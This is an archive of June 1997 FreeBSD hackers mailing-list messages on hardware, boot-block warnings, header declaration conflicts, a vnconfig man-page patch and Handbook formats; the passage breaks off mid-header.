From owner-freebsd-hackers Sun Jun 22 00:24:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA16881 for hackers-outgoing; Sun, 22 Jun 1997 00:24:03 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA16832 for ; Sun, 22 Jun 1997 00:23:59 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA20183 for hackers@FreeBSD.ORG; Sun, 22 Jun 1997 09:23:23 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id JAA17747; Sun, 22 Jun 1997 09:20:31 +0200 (MET DST) Message-ID: <19970622092031.LC39073@uriah.heep.sax.de> Date: Sun, 22 Jun 1997 09:20:31 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Announcement: New DPT RAID Controller Driver Available References: <9706201528.AA25614@cssmuc.frt.dec.com> <199706211509.RAA00356@yedi.iaf.nl> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199706211509.RAA00356@yedi.iaf.nl>; from Wilko Bulte on Jun 21, 1997 17:09:24 +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Wilko Bulte wrote: > > an earlier poster that those flimsy flex connections are pretty cheesy > > and *so* easy to ruin). > > You are not supposed to get your hands on them... Newer SBBs have > 'warranty void' stickers on them to keep people from opening them. Well, but if you're assembling a unit for a customer, you gotta handle these connectors... We've been groaning when we did it a year ago. I think there wasn't even a mark preventing you from connecting the flex reversed, was it? -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Jun 22 00:51:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA19821 for hackers-outgoing; Sun, 22 Jun 1997 00:51:42 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA19805 for ; Sun, 22 Jun 1997 00:51:38 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA20327; Sun, 22 Jun 1997 09:51:36 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id JAA17914; Sun, 22 Jun 1997 09:48:55 +0200 (MET DST) Message-ID: <19970622094854.AY38694@uriah.heep.sax.de> Date: Sun, 22 Jun 1997 09:48:54 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: kimc@w8hd.org (Kim Culhan) Subject: Re: boot mgr warning - cant find boot.config ? References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Kim Culhan on Jun 21, 1997 18:37:04 -0400 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Kim Culhan wrote: > Installed 3.0-970619-SNAP on a new disk, at boot time: > > F1 . . . DOS > F2 . . . BSD > > Default: F2 > Can't find file boot.config > Can't find file boot.help > > > > Any info on where this is coming from is greatly appreciated. Ain't it obvious? It comes from missing /boot.config and /boot.help files. ;-) Not from your boot manager, from FreeBSD's bootblocks. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Jun 22 04:22:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA27530 for hackers-outgoing; Sun, 22 Jun 1997 04:22:11 -0700 (PDT) Received: from ns1.netcologne.de (ns1.netcologne.de [194.8.194.70]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA27395; Sun, 22 Jun 1997 04:21:47 -0700 (PDT) Received: from theseus.mediaconsult.de by ns1.netcologne.de (8.6.12/NetCologne/marvin/netsafe-a0020) id ; Sun, 22 Jun 1997 12:58:25 +0200 with ESMTP X-Ncc-Regid: de.netcologne Message-ID: <33AD0A8E.ED1452A0@netcologne.de> Date: Sun, 22 Jun 1997 13:20:46 +0200 From: Richard Cochius Reply-To: richard.cochius@netcologne.de Organization: Media Connect Cologne X-Mailer: Mozilla 4.0b5 [en] (Win95; I) MIME-Version: 1.0 To: FREEBSD-ADMIN@freebsd.org, FREEBSD-ANNOUNCE@freebsd.org, FREEBSD-ARCH@freebsd.org, FREEBSD-BUGS@freebsd.org, FREEBSD-CORE@freebsd.org, FREEBSD-CURRENT@freebsd.org, FREEBSD-CURRENT-DIGEST@freebsd.org, FREEBSD-STABLE@freebsd.org, FREEBSD-DOC@freebsd.org, FREEBSD-FS@freebsd.org, FREEBSD-HACKERS@freebsd.org, FREEBSD-HACKERS-DIGEST@freebsd.org, FREEBSD-HARDWARE@freebsd.org, FREEBSD-INSTALL@freebsd.org, FREEBSD-ISP@freebsd.org, FREEBSD-MULTIMEDIA@freebsd.org, FREEBSD-PLATFORMS@freebsd.org, FREEBSD-PORTS@freebsd.org, FREEBSD-QUESTIONS@freebsd.org, FREEBSD-QUESTIONS-DIGEST@freebsd.org, FREEBSD-SCSI@freebsd.org, FREEBSD-SECURITY@freebsd.org, FREEBSD-SECURITY-NOTIFICATIONS@freebsd.org, FREEBSD-USER-GROUPS@freebsd.org Subject: subscribe X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk From owner-freebsd-hackers Sun Jun 22 05:01:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA29158 for hackers-outgoing; Sun, 22 Jun 1997 05:01:14 -0700 (PDT) Received: from moonpie.w8hd.org (moonpie.w8hd.org [198.252.159.14]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA29153 for ; Sun, 22 Jun 1997 05:01:10 -0700 (PDT) Received: from moonpie.w8hd.org (moonpie.w8hd.org [198.252.159.14]) by moonpie.w8hd.org (8.8.5/8.8.5) with SMTP id IAA27636; Sun, 22 Jun 1997 08:01:05 -0400 (EDT) Date: Sun, 22 Jun 1997 08:01:05 -0400 (EDT) From: Kim Culhan To: Joerg Wunsch cc: hackers@FreeBSD.ORG Subject: Re: boot mgr warning - cant find boot.config ? In-Reply-To: <19970622094854.AY38694@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, J Wunsch wrote: > As Kim Culhan wrote: > > > Installed 3.0-970619-SNAP on a new disk, at boot time: > > > > F1 . . . DOS > > F2 . . . BSD > > > > Default: F2 > > Can't find file boot.config > > Can't find file boot.help > > > > > > > > Any info on where this is coming from is greatly appreciated. > > Ain't it obvious? It comes from missing /boot.config and /boot.help > files. ;-) Not from your boot manager, from FreeBSD's bootblocks. This apparently came about as a result of a problem near the end of the installation when the machine crashed. Sorry to report these events were happening so fast I couldn't provide a very accurate description. For a few seconds a warning notice was displayed describing an impending crash and to advise jkh, is there a logfile written which would be of any help ? kim -- kimc@w8hd.org From owner-freebsd-hackers Sun Jun 22 05:49:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA00640 for hackers-outgoing; Sun, 22 Jun 1997 05:49:38 -0700 (PDT) Received: from avon-gw.uk1.vbc.net (jdd@avon-gw.uk1.vbc.net [194.207.2.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA00627 for ; Sun, 22 Jun 1997 05:49:27 -0700 (PDT) Received: (from jdd@localhost) by avon-gw.uk1.vbc.net (8.8.2/8.7.3) id NAA20515; Sun, 22 Jun 1997 13:49:15 +0100 (BST) Date: Sun, 22 Jun 1997 13:49:15 +0100 (BST) From: Jim Dixon X-Sender: jdd@avon-gw.uk1.vbc.net To: hackers@freebsd.org Subject: inconsistent declarations Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk /usr/include/dlfcn.h void *dlopen __P((const char *,int)); void *dlsym __P((void *, const char*)); /usr/include/link.h extern void *dlopen __P((char *,int)); extern void *dlsym __P((void *,char*)); -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From owner-freebsd-hackers Sun Jun 22 06:17:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA01397 for hackers-outgoing; Sun, 22 Jun 1997 06:17:02 -0700 (PDT) Received: from bsd.fs.bauing.th-darmstadt.de (bsd.fs.bauing.th-darmstadt.de [130.83.63.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA01378; Sun, 22 Jun 1997 06:16:52 -0700 (PDT) Received: from campa.panke.de (anonymous216.ppp.cs.tu-berlin.de [130.149.17.216]) by bsd.fs.bauing.th-darmstadt.de (8.8.5/8.8.5) with ESMTP id PAA23464; Sun, 22 Jun 1997 15:16:46 +0200 (MET DST) Received: (from wosch@localhost) by campa.panke.de (8.8.5/8.6.12) id OAA00285; Sun, 22 Jun 1997 14:53:21 +0200 (MET DST) Date: Sun, 22 Jun 1997 14:53:21 +0200 (MET DST) Message-Id: <199706221253.OAA00285@campa.panke.de> From: Wolfram Schneider To: Bruce Evans Cc: hackers@freebsd.org, wosch@apfel.de, joerg@freebsd.org, phk@freebsd.org Subject: Re: vnconfig and MSDOS FS In-Reply-To: <199706220526.PAA21334@godzilla.zeta.org.au> References: <199706220526.PAA21334@godzilla.zeta.org.au> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Bruce Evans writes: >>I made a backup of a MSDOS hard disk with dd(1) into >>a single 425 MB large file. Now I want mount this file with vnconfig >>and mount_msdos, but it will not work: >> >># vnconfig -u /dev/vn0c >># vnconfig /dev/vn0c /usr/tmp/adk >># mount_msdos /dev/vn0c /mnt >>mount_msdos: /dev/vn0c: Invalid argument >> >>What's wrong? Does vnconfig not support MSDOS FS? > >Hint: which slices are the DOS partition(s) on? They probably aren't on >the whole disk slice. You need to enable slices using `vnconfig ... -s >slices ...' (-s is documented only in the usage message and the slices >option isn't documented :-(). Thanks, now it works ;-) vnconfig -s labels -c /dev/vn0 /tmp/file mount_msdos /dev/vn0s1 /mnt Here is a patch for vnconfig.8 Index: vnconfig.8 =================================================================== RCS file: /usr/cvs/src/usr.sbin/vnconfig/vnconfig.8,v retrieving revision 1.4 diff -u -r1.4 vnconfig.8 --- vnconfig.8 1997/02/13 18:50:52 1.4 +++ vnconfig.8 1997/06/22 12:46:13 @@ -45,12 +45,16 @@ .Sh SYNOPSIS .Nm vnconfig .Op Fl cdeuv +.Op Fl r Ar flag +.Op Fl s Ar flag .Ar special_file Ar regular_file .Oo Ar feature Oc .Nm vnconfig .Fl a .Op Fl cdeuv .Op Fl f Ar config_file +.Op Fl r Ar flag +.Op Fl s Ar flag .Sh DESCRIPTION The .Nm vnconfig @@ -85,6 +89,12 @@ Disables and ``unconfigures'' the device. .It Fl v Print messages to stdout describing actions taken. +.It Fl r Ar flag +Reset flags in vn driver. +.Ar flag +are labels, follow, debug, io, all, none. +.It Fl s Ar flag +Set flags in vn driver. .El .Pp If no action option is given, @@ -141,26 +151,34 @@ .El .Sh EXAMPLES .Pp -.Dl vnconfig /dev/vn0c /tmp/diskimage +.Dl vnconfig /dev/vn0 /tmp/diskimage .Pp Configures the vnode disk -.Pa vn0c . +.Pa vn0 . .Pp -.Dl vnconfig -e /dev/vn0c /var/swapfile swap +.Dl vnconfig -e /dev/vn0 /var/swapfile swap .Pp Configures -.Pa vn0c +.Pa vn0 and enables swapping on it. .Pp -.Dl vnconfig -d /dev/vn0c myfilesystem mount=/mnt +.Dl vnconfig -d /dev/vn0 myfilesystem mount=/mnt .Pp Unmounts (disables) -.Pa vn0c . +.Pa vn0 . .Pp .Dl vnconfig -ae .Pp Configures and enables all devices specified in .Pa /etc/vntab . +.Pp +.Dl vnconfig -s labels -c /dev/vn0 /tmp/kleinweich +.Dl mount_msdos /dev/vn0s1 /mnt +.Pp +Configures the whole disk device +.Pa vn0 +and mount it +as a MSDOS file system on slice 1. .Sh SEE ALSO .Xr mount 2 , .Xr swapon 2 , -- Wolfram Schneider http://www.apfel.de/~wosch/ From owner-freebsd-hackers Sun Jun 22 06:56:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA02535 for hackers-outgoing; Sun, 22 Jun 1997 06:56:22 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA02529 for ; Sun, 22 Jun 1997 06:56:19 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id GAA17267; Sun, 22 Jun 1997 06:53:49 -0700 (PDT) To: Kim Culhan cc: Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: boot mgr warning - cant find boot.config ? In-reply-to: Your message of "Sun, 22 Jun 1997 08:01:05 EDT." Date: Sun, 22 Jun 1997 06:53:49 -0700 Message-ID: <17263.866987629@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > For a few seconds a warning notice was displayed describing an impending > crash and to advise jkh, is there a logfile written which would be of > any help ? I'm afraid not, but it's not a bad idea. :) Jordan From owner-freebsd-hackers Sun Jun 22 07:24:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA03550 for hackers-outgoing; Sun, 22 Jun 1997 07:24:19 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA03544; Sun, 22 Jun 1997 07:24:11 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id OAA18944; Sun, 22 Jun 1997 14:58:33 +0100 (BST) Message-Id: <199706221358.OAA18944@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: Annelise Anderson cc: Brian Somers , kleon@bellsouth.net, freebsd-questions@FreeBSD.org, freebsd-hackers@FreeBSD.org Subject: Re: Handbook - ascii form?? In-reply-to: Your message of "Sat, 21 Jun 1997 22:42:18 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 22 Jun 1997 14:58:33 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Has anyone any objections (cc'd to freebsd-hackers) to me adding a .txt version of the handbook & FAQ ? > > On Sun, 22 Jun 1997, Brian Somers wrote: > > > This looks more like a suggested way of removing overstrikes > > to me. That was certainly the intention. > > My point was that users ought not to have to process the handbook > with tools that they may not have or may not know how to use. If > it's such a piece of cake, why not do it and get the results on > the server? > > I may be in danger of losing my sense of humor. Especially on this > Saturday night. :) > > What I suspect is that these docs have been sgml'd, html'd, troff'd, > groff'd, roff'd, and ps'd, and it's no longer possible to produce > just plain old text..... > > Wanted! Converter to plain text! > > Annelise > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Jun 22 07:49:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA04563 for hackers-outgoing; Sun, 22 Jun 1997 07:49:49 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA04534; Sun, 22 Jun 1997 07:49:36 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id PAA24125; Sun, 22 Jun 1997 15:45:41 +0100 (BST) Message-Id: <199706221445.PAA24125@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: Brian Somers cc: Annelise Anderson , kleon@bellsouth.net, freebsd-questions@FreeBSD.org, freebsd-hackers@FreeBSD.org Subject: Re: Handbook - ascii form?? In-reply-to: Your message of "Sun, 22 Jun 1997 14:58:33 BST." <199706221358.OAA18944@awfulhak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 22 Jun 1997 15:45:41 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Has anyone any objections (cc'd to freebsd-hackers) to me adding > a .txt version of the handbook & FAQ ? As Robert Nordier pointed out, it's already there (*blush*). -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Jun 22 07:50:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA04687 for hackers-outgoing; Sun, 22 Jun 1997 07:50:39 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA04659 for ; Sun, 22 Jun 1997 07:50:26 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id PAA24584; Sun, 22 Jun 1997 15:50:13 +0100 (BST) Message-Id: <199706221450.PAA24584@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: Jim Dixon cc: hackers@FreeBSD.ORG Subject: Re: inconsistent declarations In-reply-to: Your message of "Sun, 22 Jun 1997 13:49:15 BST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 22 Jun 1997 15:50:13 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > /usr/include/dlfcn.h > void *dlopen __P((const char *,int)); > void *dlsym __P((void *, const char*)); > > /usr/include/link.h > extern void *dlopen __P((char *,int)); > extern void *dlsym __P((void *,char*)); I've just done a make includes in -current and 2.2 and it says your dlfcn.h is out of date. > -- > Jim Dixon VBCnet GB Ltd http://www.vbc.net > tel +44 117 929 1316 fax +44 117 927 2015 > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Jun 22 08:11:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA05643 for hackers-outgoing; Sun, 22 Jun 1997 08:11:46 -0700 (PDT) Received: from kaori.communique.net (kaori.Communique.Net [204.27.65.55]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA05638 for ; Sun, 22 Jun 1997 08:11:45 -0700 (PDT) Received: by kaori.Communique.Net with Internet Mail Service (5.0.1457.3) id ; Sun, 22 Jun 1997 10:11:07 -0500 Message-ID: From: Raul Zighelboim Cc: hackers@FreeBSD.ORG Subject: RE: SMC 9332BDT Help me please... Date: Sun, 22 Jun 1997 10:11:05 -0500 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Ok; I tried forcing Full duplex on the card. I tried forcing 1/2 duplex on the card. In both instances, performace was terrible, to say the least. 10baset 1/2 duplex seems to be the only instance of these cards that works. Am I the only running into this problem ? > -----Original Message----- > From: sthaug@nethelp.no [SMTP:sthaug@nethelp.no] > Sent: Friday, June 20, 1997 5:53 PM > To: Raul Zighelboim > Cc: hackers@FreeBSD.ORG > Subject: RE: SMC 9332BDT Help me please... > > > I just finished upgrading 3 servers to the SMC newer card, using the > > latest drivers from http://www.3am-software.com (I think they are > date > > June 18). > > > > The cards are performing alright on a 10baseT switch. but..... > > Whenever I move the cards to my 100baseTX hub, i get _very poor_ > > performance. > > Have you checked whether the switch believes the port to be in half or > full duplex mode? Problems like these are typical symptoms of card and > switch not agreeing about the duplex mode. > > Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-hackers Sun Jun 22 08:36:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA07217 for hackers-outgoing; Sun, 22 Jun 1997 08:36:12 -0700 (PDT) Received: from asstdc.scgt.oz.au (root@asstdc.scgt.oz.au [202.14.234.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA07196 for ; Sun, 22 Jun 1997 08:36:07 -0700 (PDT) Received: from walkabout.asstdc.com.au (walkabout.asstdc.com.au [202.12.127.73]) by asstdc.scgt.oz.au (8.8.5/BSD4.4) with SMTP id BAA11469 Mon, 23 Jun 1997 01:35:20 +1000 (EST) Message-Id: <3.0.1.32.19970623013519.0071fbd0@localhost> X-Sender: imb@localhost X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Mon, 23 Jun 1997 01:35:19 +1000 To: Jim Dixon , hackers@FreeBSD.ORG From: michael butler Subject: Re: inconsistent declarations In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 01:49 PM 22/06/97 +0100, Jim Dixon wrote: >/usr/include/dlfcn.h > void *dlopen __P((const char *,int)); > void *dlsym __P((void *, const char*)); > >/usr/include/link.h > extern void *dlopen __P((char *,int)); > extern void *dlsym __P((void *,char*)); This breaks the build of postgresql-6.1 for 2.1-stable :-( michael From owner-freebsd-hackers Sun Jun 22 08:36:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA07218 for hackers-outgoing; Sun, 22 Jun 1997 08:36:12 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA07203 for ; Sun, 22 Jun 1997 08:36:09 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id IAA15609; Sun, 22 Jun 1997 08:36:10 -0700 (PDT) To: Brian Somers cc: Annelise Anderson , kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG Subject: Re: Handbook - ascii form?? In-reply-to: Your message of "Sun, 22 Jun 1997 14:58:33 BST." <199706221358.OAA18944@awfulhak.demon.co.uk> Date: Sun, 22 Jun 1997 08:36:09 -0700 Message-ID: <15600.866993769@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [-questions removed to reduce cross-list spammage] > Has anyone any objections (cc'd to freebsd-hackers) to me adding > a .txt version of the handbook & FAQ ? What do you mean, exactly? Check in ascii versions? Yeeks, no. How is the existing method of producing ISO latin1 versions so onerous, exactly? Jordan From owner-freebsd-hackers Sun Jun 22 08:38:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA07448 for hackers-outgoing; Sun, 22 Jun 1997 08:38:15 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA07427 for ; Sun, 22 Jun 1997 08:38:03 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA27149 (5.67b/IDA-1.5 for hackers@FreeBSD.ORG); Sun, 22 Jun 1997 17:23:40 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id NAA00506; Sun, 22 Jun 1997 13:41:32 +0200 (MET DST) From: Wilko Bulte Message-Id: <199706221141.NAA00506@yedi.iaf.nl> Subject: Re: Announcement: New DPT RAID Controller Driver Available To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 22 Jun 1997 13:41:32 +0200 (MET DST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970622092031.LC39073@uriah.heep.sax.de> from "J Wunsch" at Jun 22, 97 09:20:31 am X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As J Wunsch wrote... > As Wilko Bulte wrote: > > > > an earlier poster that those flimsy flex connections are pretty cheesy > > > and *so* easy to ruin). > > > > You are not supposed to get your hands on them... Newer SBBs have > > 'warranty void' stickers on them to keep people from opening them. > > Well, but if you're assembling a unit for a customer, you gotta handle > these connectors... We've been groaning when we did it a year ago. I > think there wasn't even a mark preventing you from connecting the flex > reversed, was it? You can no longer buy the 'white' SBBs that were specifically made for customer installation of their own devices. The amount of grief we got from all sorts of oddball devices connected behind raid controllers etc was the reason for that. "But it is in a SBB so it should work..." Argh. In my personal experience installing a flex is not so much of a problem. Removing it without killing the flex is much harder. Within DEC the flexes are discarded after they are removed (e.g. if a device needs to be removed in a warranty depot) Wilko _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl - Arnhem, The Netherlands |/|/ / / /( (_) Do, or do not. There is no 'try' - Yoda -------------------------------------------------------------------------- From owner-freebsd-hackers Sun Jun 22 08:51:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA08335 for hackers-outgoing; Sun, 22 Jun 1997 08:51:45 -0700 (PDT) Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA08323; Sun, 22 Jun 1997 08:51:36 -0700 (PDT) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.5/8.8.5) with SMTP id KAA28932; Sun, 22 Jun 1997 10:51:29 -0500 (EST) Date: Sun, 22 Jun 1997 10:51:28 -0500 (EST) From: John Fieber Reply-To: John Fieber To: Brian Somers cc: Annelise Anderson , kleon@bellsouth.net, freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Handbook - ascii form?? In-Reply-To: <199706221358.OAA18944@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Brian Somers wrote: > Has anyone any objections (cc'd to freebsd-hackers) to me adding > a .txt version of the handbook & FAQ ? > > > What I suspect is that these docs have been sgml'd, html'd, troff'd, > > groff'd, roff'd, and ps'd, and it's no longer possible to produce > > just plain old text..... > > > > Wanted! Converter to plain text! $ col -b < inputfile > outputfile At one time in history the sgmlfmt script did that automatically for text output. I suppose it could be brought back in as an option. -john From owner-freebsd-hackers Sun Jun 22 09:04:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA09273 for hackers-outgoing; Sun, 22 Jun 1997 09:04:44 -0700 (PDT) Received: from avon-gw.uk1.vbc.net (jdd@avon-gw.uk1.vbc.net [194.207.2.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA09260 for ; Sun, 22 Jun 1997 09:04:34 -0700 (PDT) Received: (from jdd@localhost) by avon-gw.uk1.vbc.net (8.8.2/8.7.3) id RAA20773; Sun, 22 Jun 1997 17:03:24 +0100 (BST) Date: Sun, 22 Jun 1997 17:03:23 +0100 (BST) From: Jim Dixon X-Sender: jdd@avon-gw.uk1.vbc.net To: michael butler cc: hackers@FreeBSD.ORG Subject: Re: inconsistent declarations In-Reply-To: <3.0.1.32.19970623013519.0071fbd0@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, michael butler wrote: > >/usr/include/dlfcn.h > > void *dlopen __P((const char *,int)); > > void *dlsym __P((void *, const char*)); > > > >/usr/include/link.h > > extern void *dlopen __P((char *,int)); > > extern void *dlsym __P((void *,char*)); > > This breaks the build of postgresql-6.1 for 2.1-stable :-( Precisely. It can be fixed by reversing the order of inclusion of the header files in src/src/backend/port/BSD44_derived/dl.c and then modifying link.h so that dlopen() and dlsym() are inside an #ifndef _DLFCN_H_ ... #endif -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From owner-freebsd-hackers Sun Jun 22 09:11:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA09624 for hackers-outgoing; Sun, 22 Jun 1997 09:11:03 -0700 (PDT) Received: from avon-gw.uk1.vbc.net (jdd@avon-gw.uk1.vbc.net [194.207.2.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA09615 for ; Sun, 22 Jun 1997 09:10:51 -0700 (PDT) Received: (from jdd@localhost) by avon-gw.uk1.vbc.net (8.8.2/8.7.3) id RAA20790; Sun, 22 Jun 1997 17:10:38 +0100 (BST) Date: Sun, 22 